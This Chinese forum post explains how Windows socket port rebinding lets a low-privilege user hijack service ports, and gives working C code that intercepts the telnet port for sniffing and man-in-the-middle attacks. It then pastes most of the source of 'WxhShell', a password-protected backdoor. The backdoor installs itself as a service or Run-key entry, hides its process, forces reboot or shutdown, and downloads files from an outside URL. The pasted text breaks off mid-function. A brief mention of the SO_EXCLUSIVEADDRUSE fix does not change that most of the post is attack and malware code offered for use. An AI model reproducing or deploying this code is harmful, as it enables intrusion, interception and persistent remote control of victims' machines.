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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Vf@S8H  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); oSpi{ $x  
ee4KMS  
  saddr.sin_family = AF_INET; ly9x1`?$  
m T>b ;  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); q}wl_ku9+  
gK&5HTo  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); %g2/ o^c*  
3RBpbTNWp  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 N[- %0  
nL "g23  
  这意味着什么?意味着可以进行如下的攻击: kxt\{iy4  
]Om'naD  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ahK?]:&QO  
,+swH;=7#r  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) R (+h)#![  
=vB]*?;9  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 3t J=d'U  
!y[}|  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  z(8)1#(n7  
h0'8NvalQ  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 dm/-}  
LC~CPV'F  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ]<&B BQ  
yf0vR%,\  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ?uNTUU,  
w !=_  
  #include T%;k%  
  #include A52LH,  
  #include ej)BR'*  
  #include    tal>b]B;  
  DWORD WINAPI ClientThread(LPVOID lpParam);   p 02nd.R6  
  int main() e _SoM!;  
  { (r#5O9|S  
  WORD wVersionRequested; F``EARG)iu  
  DWORD ret; %8rr*l5  
  WSADATA wsaData; -52 @%uB  
  BOOL val; TsFV ;Sl3  
  SOCKADDR_IN saddr; kx;xO>dC  
  SOCKADDR_IN scaddr; B` t6H  
  int err; 8gu'dG=  
  SOCKET s; 02]8|B(E90  
  SOCKET sc; Fyi?,,  
  int caddsize; y{&{=1#  
  HANDLE mt; |,M#8NOp:  
  DWORD tid;   T6/$pJl  
  wVersionRequested = MAKEWORD( 2, 2 ); XC+F! R  
  err = WSAStartup( wVersionRequested, &wsaData ); |g: '')>[  
  if ( err != 0 ) { r-1yJ  
  printf("error!WSAStartup failed!\n"); HlOAo:8'  
  return -1; Q+y-*1   
  } di)noQXkB-  
  saddr.sin_family = AF_INET; !DY2{Wb  
   ^-c si   
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 5 ~ *'>y  
?h>%Ix  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ZPxOds1m  
  saddr.sin_port = htons(23); i"r.>X'Z  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) dZ;~b(CA  
  { y<'2BTf  
  printf("error!socket failed!\n"); 6a2w-}Fs  
  return -1; SoM ]2^  
  } mTb2d?NS  
  val = TRUE; L&3Ar'  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 !)51v {  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) W~+!"^<n  
  { >gS5[`xRE  
  printf("error!setsockopt failed!\n"); ;k63RNT,M&  
  return -1; D/!eov4"  
  } tswG"1R  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; iC5JU&l  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 am$-sh72  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 =`7)X\i@z  
nfd?@34"A2  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ;|2;kvf"w  
  { +gD)Yd  
  ret=GetLastError(); .x-Z+Rs{g  
  printf("error!bind failed!\n"); q9a wzj  
  return -1; ~; O= 7  
  } ]>S$R&a  
  listen(s,2); ?G%, k LJJ  
  while(1) Jb)eC?6O  
  { no\}aTx  
  caddsize = sizeof(scaddr); ;>QK}#'  
  //接受连接请求 Lu#@~  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); R(7X}*@X  
  if(sc!=INVALID_SOCKET) 7Hr4yh[j&  
  { J z:W-o  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Y" ]eH{  
  if(mt==NULL) [y&h_w.  
  { WSpg(\Cs  
  printf("Thread Creat Failed!\n"); _ /2 8Cw  
  break; E6wST@ r  
  } RGPU~L  
  } ;Cp/2A}Xx  
  CloseHandle(mt); \ /X!tlwxh  
  } 2YP"nj#  
  closesocket(s); ;6 &=]I  
  WSACleanup(); (j"~]T!)1  
  return 0; % &Q7;?  
  }   2zrWR%B  
  DWORD WINAPI ClientThread(LPVOID lpParam) 9|kEq>d  
  { ?D$b%G{  
  SOCKET ss = (SOCKET)lpParam; dW=D]  
  SOCKET sc; ]@<3 6ByM  
  unsigned char buf[4096]; da86Jj=k  
  SOCKADDR_IN saddr; <0,ah4C  
  long num; GzZ|T7fm  
  DWORD val; (Ss77~W7  
  DWORD ret; f!R^;'a  
  //如果是隐藏端口应用的话,可以在此处加一些判断 f6_|dvY3  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   BQfAen]  
  saddr.sin_family = AF_INET; 9Nbg@5(  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); jiB>.te  
  saddr.sin_port = htons(23); 0|+hm^'_  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0 c'2rx  
  { ,tv9+n@x  
  printf("error!socket failed!\n"); $X\` 7`v  
  return -1; nR|LV'(  
  } 6_}){ZR  
  val = 100; [@?.}!  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) h*X%:UbW  
  { RuEnr7gi  
  ret = GetLastError(); -EIMh^  
  return -1; {_N(S]Z  
  } XlcDF|?{.  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 91Sb= 9  
  { hQLx"R$  
  ret = GetLastError(); }@0.  
  return -1; Q2WrB+/  
  } $W]guG  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Gkvd{G?F  
  { _[Wrd?Z  
  printf("error!socket connect failed!\n"); T{xo_u{Q  
  closesocket(sc); QF6JZQh<  
  closesocket(ss); }(I DPaJ  
  return -1; _; RD-kv  
  } !{aA*E{  
  while(1) p%tg->#L  
  { n& &U9sf?  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 L. ?dI82c  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 P[K T  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 gxtbu$  
  num = recv(ss,buf,4096,0); $ aBSr1  
  if(num>0) $6%;mep  
  send(sc,buf,num,0); F09AX'nj  
  else if(num==0) Gf.o{  
  break; 6u3(G j@  
  num = recv(sc,buf,4096,0); ]Y! Vyn  
  if(num>0) l:}4 6%  
  send(ss,buf,num,0); nECf2>Yp v  
  else if(num==0) y{P9k8v!z  
  break; iFchD\E*o  
  } m3e49 bP  
  closesocket(ss); =xP{f<`   
  closesocket(sc); e!'u{>u  
  return 0 ; 5W-M8dc6  
  } XmR5dLc8  
SXF_)1QO\W  
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========================================================== fbkjK`_q  
j"8N)la  
下边附上一个代码,,WXhSHELL A2S9h,t  
1OS3Gv8jc~  
========================================================== 5aQg^f%\  
8"^TWzg}L  
#include "stdafx.h" ?!-im*~w  
^2@~AD`&h  
#include <stdio.h> I/|n ma/ $  
#include <string.h> 4+bsG6i  
#include <windows.h> h]9^bX__Z  
#include <winsock2.h> 4tWI)}+ak  
#include <winsvc.h> c>.Xc[H  
#include <urlmon.h> v21?  
5)6%D  
#pragma comment (lib, "Ws2_32.lib") Ba~Iy2\x  
#pragma comment (lib, "urlmon.lib") WQ`T'k#ESW  
#IDCCD^1=  
#define MAX_USER   100 // 最大客户端连接数 px@\b]/  
#define BUF_SOCK   200 // sock buffer ^Yz05\  
#define KEY_BUFF   255 // 输入 buffer nsk 6a  
E~^'w.1  
#define REBOOT     0   // 重启 s6uAF(4,  
#define SHUTDOWN   1   // 关机 ry"zec B  
H)tDfk sq\  
#define DEF_PORT   5000 // 监听端口 \>k+Oyj  
J K^;-&  
#define REG_LEN     16   // 注册表键长度 Z]d]RL&r  
#define SVC_LEN     80   // NT服务名长度 c-d}E!C:  
Ymom 0g+ f  
// 从dll定义API <^{:K`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ") D!OW]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); TVA1FD  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Nig-D>OS  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); g(k|"g`*  
(z7#KJ1+Aw  
// wxhshell配置信息 UepBXt3)  
struct WSCFG { Q2Rj0E`  
  int ws_port;         // 监听端口 AAcbY;  
  char ws_passstr[REG_LEN]; // 口令 RSC-+c6 1  
  int ws_autoins;       // 安装标记, 1=yes 0=no oDa{HP\O]W  
  char ws_regname[REG_LEN]; // 注册表键名 6Y^o8R  
  char ws_svcname[REG_LEN]; // 服务名 wn&2-m*a  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 U,BB C  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 9K!='u`  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2X_ef  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~@lNBF  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" hLRQ)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 nmr>Aj8[  
7}k8-:a%  
}; {QID@  
d/1XL[&  
// default Wxhshell configuration yhaYlYv[_3  
struct WSCFG wscfg={DEF_PORT, %L3]l  
    "xuhuanlingzhe", 5oS\uX|  
    1, n9fk{"y'G  
    "Wxhshell", ]_s]Q_+E  
    "Wxhshell", _q 8m$4  
            "WxhShell Service", k&b>-QP6  
    "Wrsky Windows CmdShell Service", i7FEjjGtG  
    "Please Input Your Password: ", Xc!w y9m  
  1, 0*)79Sz  
  "http://www.wrsky.com/wxhshell.exe", ~"k'T9QBY  
  "Wxhshell.exe" 9\F^\h{  
    }; 9=|5-? ^  
Z>l>@wNm  
// 消息定义模块 ,v"A}g0"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `f'P  
char *msg_ws_prompt="\n\r? for help\n\r#>"; gA6C(##0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; jKzj Tn9{E  
char *msg_ws_ext="\n\rExit."; Nu'rn*Y_  
char *msg_ws_end="\n\rQuit."; uT1x\Rt|e  
char *msg_ws_boot="\n\rReboot..."; G;e}z&6<k  
char *msg_ws_poff="\n\rShutdown..."; yFSL7`p+  
char *msg_ws_down="\n\rSave to "; Q*I/mUP&f  
U:Y?2$#  
char *msg_ws_err="\n\rErr!"; DxlX-  
char *msg_ws_ok="\n\rOK!"; ;c`B '  
<$ 5\^y,V  
char ExeFile[MAX_PATH]; ?Rdi"{.wI  
int nUser = 0; D)Zv  
HANDLE handles[MAX_USER]; P.o W#Je  
int OsIsNt; yC[}gHv  
<6@Db$-  
SERVICE_STATUS       serviceStatus; >2a~hW|,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; M-NR!?9  
?g'l/xuRe  
// 函数声明 &b_duWs  
int Install(void); rZLMY M  
int Uninstall(void); !Ej<J&e  
int DownloadFile(char *sURL, SOCKET wsh);  ZM"t.  
int Boot(int flag); <%5ny!]  
void HideProc(void); ;/v^@  
int GetOsVer(void); u% FA.  
int Wxhshell(SOCKET wsl); ?1YK-T@  
void TalkWithClient(void *cs); m`/OO;/;  
int CmdShell(SOCKET sock);  #u~8Txt  
int StartFromService(void); ,-):&V:jF  
int StartWxhshell(LPSTR lpCmdLine); WDcjj1`l  
mwt3EV5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,VI2dNst\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); c1Skt  
=nG g k}Z  
// 数据结构和表定义 ,XU<2jv]  
SERVICE_TABLE_ENTRY DispatchTable[] = UZz/v#y~  
{ `f S$@{YI_  
{wscfg.ws_svcname, NTServiceMain}, ]@0C1 r  
{NULL, NULL} )1N~-VuT  
}; Dr)B0]KG  
',P$m&z  
// 自我安装 EN^5 Hppb  
int Install(void) 3VaL%+T$,  
{ 3%P<F>6 J  
  char svExeFile[MAX_PATH]; {{qu:(_g  
  HKEY key; ~m3Q^ue  
  strcpy(svExeFile,ExeFile); yhc}*BMZ  
a[I :^S  
// 如果是win9x系统,修改注册表设为自启动 mb,\wZ  
if(!OsIsNt) { vhvFBx0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }Y:V&4DW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %g:6QS|  
  RegCloseKey(key); FN\*x:g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Xh+;$2l.B  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q WcQtM  
  RegCloseKey(key); Zjd9@  
  return 0; R.(PZCvS  
    } Qco8m4n  
  } F$M^}vsjGx  
} pLSh +*F  
else { F JCs$0  
7H.3.j(L  
// 如果是NT以上系统,安装为系统服务 ?fW['%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2{|Z?3FJ^  
if (schSCManager!=0) SMo nJ;Y  
{ i]9C"Kw$L  
  SC_HANDLE schService = CreateService {^8?fJ/L  
  ( w{mw?0  
  schSCManager, xu\s2x$  
  wscfg.ws_svcname, s5h}MXIXw  
  wscfg.ws_svcdisp, `3g5n:"g\  
  SERVICE_ALL_ACCESS, HA$X g j  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %:t! u&:q  
  SERVICE_AUTO_START, j<'ftK k  
  SERVICE_ERROR_NORMAL, A*G ~#v^  
  svExeFile, Uo?4o*}  
  NULL, qF\w#nG  
  NULL, /z! Tgs4  
  NULL, r3  qKT  
  NULL, PzOnS   
  NULL >v2/0>U  
  ); #lR-?Uh  
  if (schService!=0) $Q"D>Qf{G  
  { 'Fy"|M;2  
  CloseServiceHandle(schService); (\ge7sE-oo  
  CloseServiceHandle(schSCManager); ncqAof(/  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); oR7[[H.4  
  strcat(svExeFile,wscfg.ws_svcname); ,?P<=M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { G9|2 KUG  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /yHjd s  
  RegCloseKey(key); /k8I6  
  return 0; <?s@-mpgN  
    } ]~2iducB,  
  } "}MP{/  
  CloseServiceHandle(schSCManager); {]2^b)  
} eAmI~oku  
} Om^(CAp  
&(oA/jFQ  
return 1; T*:w1*:  
} ! c`&L_ "!  
; [G:  
// 自我卸载 -L +kt_>  
int Uninstall(void) vJxE F&X  
{ w? >f:2(=[  
  HKEY key; ~| b\1SR  
C$q};7b1N  
if(!OsIsNt) { 3~{I/ft  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2xf #@`U  
  RegDeleteValue(key,wscfg.ws_regname); ? a#Gn2  
  RegCloseKey(key); _V 4O#;%?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !KMl'kswe:  
  RegDeleteValue(key,wscfg.ws_regname); 9}%$j  
  RegCloseKey(key); Q,:{(R  
  return 0; tL3R<'  
  } E*O($tS  
} `6)(Fk--"  
} )X-'Q-  
else { 8t Q;N'  
XwUa|"X6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ?r KbL^2  
if (schSCManager!=0) 10fxK  
{ d7Vp^^}(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); U$mDAi$  
  if (schService!=0) hw,nA2w\  
  { Vm|KL3}NRv  
  if(DeleteService(schService)!=0) { iLch3[p%  
  CloseServiceHandle(schService); .<zKBv  
  CloseServiceHandle(schSCManager); 4j~q,# $LW  
  return 0; =WjHf8v;  
  } LD ]-IX&L  
  CloseServiceHandle(schService); +}O -WX?  
  } #B<EMGH  
  CloseServiceHandle(schSCManager); t5%cpkgh4  
} ("\{=XA Q  
} u"q5 6}Q?]  
vP x/&x  
return 1; ~v%6*9  
} ?V,q&=9  
K fD. J)  
// 从指定url下载文件 XHekz6_  
int DownloadFile(char *sURL, SOCKET wsh) s EFQ8S  
{ @QV0l]H0+  
  HRESULT hr; qmFG  
char seps[]= "/"; kL%ot<rt)w  
char *token; @Wc5r#  
char *file; .6P.r}  
char myURL[MAX_PATH]; YZ5,K6u  
char myFILE[MAX_PATH]; &nP0T-T5y  
g E _+r  
strcpy(myURL,sURL); Vx(*OQ  
  token=strtok(myURL,seps); /1MmOB  
  while(token!=NULL) "aOs#4N  
  { RqgN<&g?  
    file=token; N2O *g`YC  
  token=strtok(NULL,seps); r5DR F4,7  
  } V_:`K$  
h{gFqkDoTI  
GetCurrentDirectory(MAX_PATH,myFILE); 4d`YZNvZW/  
strcat(myFILE, "\\"); &J)<1!|  
strcat(myFILE, file); uR ?W|a  
  send(wsh,myFILE,strlen(myFILE),0); K f/[Edn  
send(wsh,"...",3,0); ~.aR=m\#  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 4T31<wk  
  if(hr==S_OK) ,c4HicRJ#  
return 0; ~f h  
else ^K;k4oK  
return 1; EY)2,  
ZU73UL  
} g%&E~V/g$  
zbmC? 2$  
// 系统电源模块 Z+&V  >  
int Boot(int flag) +P^ ;7"H  
{ #7 3pryXV  
  HANDLE hToken; {1)A"lQu  
  TOKEN_PRIVILEGES tkp; w}gmVJ#p  
`Gqe]ZE#"  
  if(OsIsNt) { Q,[G?vbj  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); xj3 qOx$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); jc&k-d>=G  
    tkp.PrivilegeCount = 1; !&{rnK  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; BM<q;;pO  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9B!Sv/)y!r  
if(flag==REBOOT) { mux/\TII  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) uZC=]Ieh  
  return 0; UDHWl_%L  
} rP:g`?*V  
else { e0TYHr)X>3  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) } :0_%=)N<  
  return 0; M76p=*  
} 5EFt0?G   
  } 2#>;cn\  
  else { hZx&j{  
if(flag==REBOOT) { 8M99cx*K  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) fOV_ >]u  
  return 0; lI<jYd 0fZ  
} GGp.u@\r  
else { uzBQK  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) sp,-JZD  
  return 0; (9Zvr4.f7  
} YNr"]SA@;  
} B&]`OO>O  
i>YS%&O?  
return 1; F_Y]>,U  
} /'sv7hg+  
w\)K0RN  
// win9x进程隐藏模块 $ln8Cpbca  
void HideProc(void) ib=)N)l  
{ Dh8ECy5k<*  
gQ_<;'m)2  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =Kd'(ct  
  if ( hKernel != NULL ) +<a\0FsD  
  { jE*{^+n  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); x4WCAqi/2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); cUY-  
    FreeLibrary(hKernel); iFd !ED  
  } P_(8+)ud-  
q&25,zWD  
return; X' `n>1z  
} V|8'3=Z=  
Y4rxnXGw  
// 获取操作系统版本 Lc{AB!Br  
int GetOsVer(void) C?\(?%B  
{ \O5L#dc#  
  OSVERSIONINFO winfo; Anz{u$0M[  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); qYK^S4L  
  GetVersionEx(&winfo); |Xt.[1  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Tn&_ >R  
  return 1; #`VAw ) eV  
  else ;z'&$#pA  
  return 0; !"N,w9MbD  
} /6 ')B !&  
yaR>?[h  
// 客户端句柄模块 @IL04' \  
int Wxhshell(SOCKET wsl) S%iK);  
{ `?z('FV  
  SOCKET wsh; N3%#JdzZ$  
  struct sockaddr_in client; cibl j?"Wi  
  DWORD myID; |p:4s"NT  
bf_ > ?F^  
  while(nUser<MAX_USER) t%:7W[_s  
{ jZA1fV  
  int nSize=sizeof(client); &<t%u[3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }j/\OY _&  
  if(wsh==INVALID_SOCKET) return 1; QTHY{:Rmu  
t\M6 d6  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); eC-&.Fl  
if(handles[nUser]==0)  NNt n  
  closesocket(wsh); 9^a|yyzL  
else Jh-yIk  
  nUser++; 9<gW~ s>  
  } //&3{B  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); c8&3IzZ  
}b456J  
  return 0; %3`*)cp@  
} t/[2{'R4  
k8s)PN  
// 关闭 socket Cog}a  
void CloseIt(SOCKET wsh) p/{%%30ke  
{ In?rQiD9  
closesocket(wsh); 1S?~ c25=h  
nUser--; m6i ,xn  
ExitThread(0); P.Nt jz/B  
} Ic'D# m  
G#%Sokkb'  
// 客户端请求句柄 & DP"RWT/  
void TalkWithClient(void *cs) bW`nLiw}%  
{ wq?"NQ?O<  
%e:+@%]  
  SOCKET wsh=(SOCKET)cs; EID-ROMO  
  char pwd[SVC_LEN]; F$UL.`X _/  
  char cmd[KEY_BUFF]; nvR%Ub x  
char chr[1]; WO>,=^zPJ  
int i,j; #N][-i  
#6M |T+ =  
  while (nUser < MAX_USER) { 5Ew( 0K[  
6 wN*d 5  
if(wscfg.ws_passstr) { T6/P54S  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U6-47m0%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ew\:&"@2]w  
  //ZeroMemory(pwd,KEY_BUFF); &b (*  
      i=0; /` M#  
  while(i<SVC_LEN) { e#oK% {A  
]WMzWt:L  
  // 设置超时 .i;.5)shsu  
  fd_set FdRead; LH54J;7 Y  
  struct timeval TimeOut; `oMZ9Gq2E  
  FD_ZERO(&FdRead); a j4ZS  
  FD_SET(wsh,&FdRead); Xm,fyk>  
  TimeOut.tv_sec=8; g[~{iu_$d  
  TimeOut.tv_usec=0; B 2NIV7  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); AJ\gDjj<  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1tY+0R  
6$OmOCA%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g%J\YRo  
  pwd=chr[0]; >,,`7%Rv  
  if(chr[0]==0xd || chr[0]==0xa) { Ar)EbGId  
  pwd=0; |Ua);B~F  
  break; F#yn'j8  
  } 94O\M RQ*  
  i++; Z,AY<[/C  
    } u(yN81  
Ohj^Z&j  
  // 如果是非法用户,关闭 socket b00$3,L   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "5dke^yk0  
} CB-;Jqb  
m+8:_0x "  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !"<rlB,J  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \:@7)(p\;  
i `f!)1  
while(1) { G6{'|CV  
}D!tB  
  ZeroMemory(cmd,KEY_BUFF); \IC^z  
&Jb$YKt  
      // 自动支持客户端 telnet标准   '/XP4B\(E  
  j=0; .|u`s,\  
  while(j<KEY_BUFF) { *tT}N@<%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0\"#Xa+}8  
  cmd[j]=chr[0]; h*JN0O<b  
  if(chr[0]==0xa || chr[0]==0xd) { *re?V9  
  cmd[j]=0; NL `  
  break; yc9!JJMkH  
  } nG5\vj,zB  
  j++; 3t.!5 L  
    } <G<5)$ S  
uSI@Cjp  
  // 下载文件 6J JA"] `  
  if(strstr(cmd,"http://")) { S}h d,"I  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 44~ReN}`  
  if(DownloadFile(cmd,wsh)) EI?8/c  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); vv Y?8/  
  else IFr"IOr'l  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mT@Gf>}/A  
  } 9&zR i  
  else { }m?Ut|  
=ZU!i0 K  
    switch(cmd[0]) { W\Scak>  
  `Nvhp]E  
  // 帮助 qHe H/e%`V  
  case '?': { '^WR5P<8c  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); c-NUD$  
    break; &@{`{  
  } dVMl;{  
  // 安装 A0A|cJP  
  case 'i': { W[`ybGR<  
    if(Install()) (>u1O V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +,R!el!o~u  
    else `%#_y67v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KLG.?`h:  
    break; c 8  
    } &@|? %  
  // 卸载 FdnLxw  
  case 'r': { or;VmU8$zb  
    if(Uninstall()) 3j$, L(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sVP\EF8PY  
    else gzVZPvTPE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (O09HY:  
    break; N GnE  
    } >m%TUQ#%  
  // 显示 wxhshell 所在路径 't8!.k  
  case 'p': { k:~UBs\)(  
    char svExeFile[MAX_PATH]; /o6ido  
    strcpy(svExeFile,"\n\r"); xo @|;Z>&F  
      strcat(svExeFile,ExeFile); @##}zku  
        send(wsh,svExeFile,strlen(svExeFile),0); x~Z7p)D_<  
    break; HES$. a  
    } B/lIn' =  
  // 重启 qgEzK  
  case 'b': { \,p?pL<'  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )q4nyT>M  
    if(Boot(REBOOT)) >a2[P"   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,mCf{V]#  
    else { _O87[F1  
    closesocket(wsh); `hG`}G|^  
    ExitThread(0); rs>,p)  
    } |SMigSu r`  
    break; #>_fYjT  
    } }2BNy9q@  
  // 关机 d@*dbECG  
  case 'd': { +N,Fq/x  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ? B|i  
    if(Boot(SHUTDOWN)) im:[ViR {  
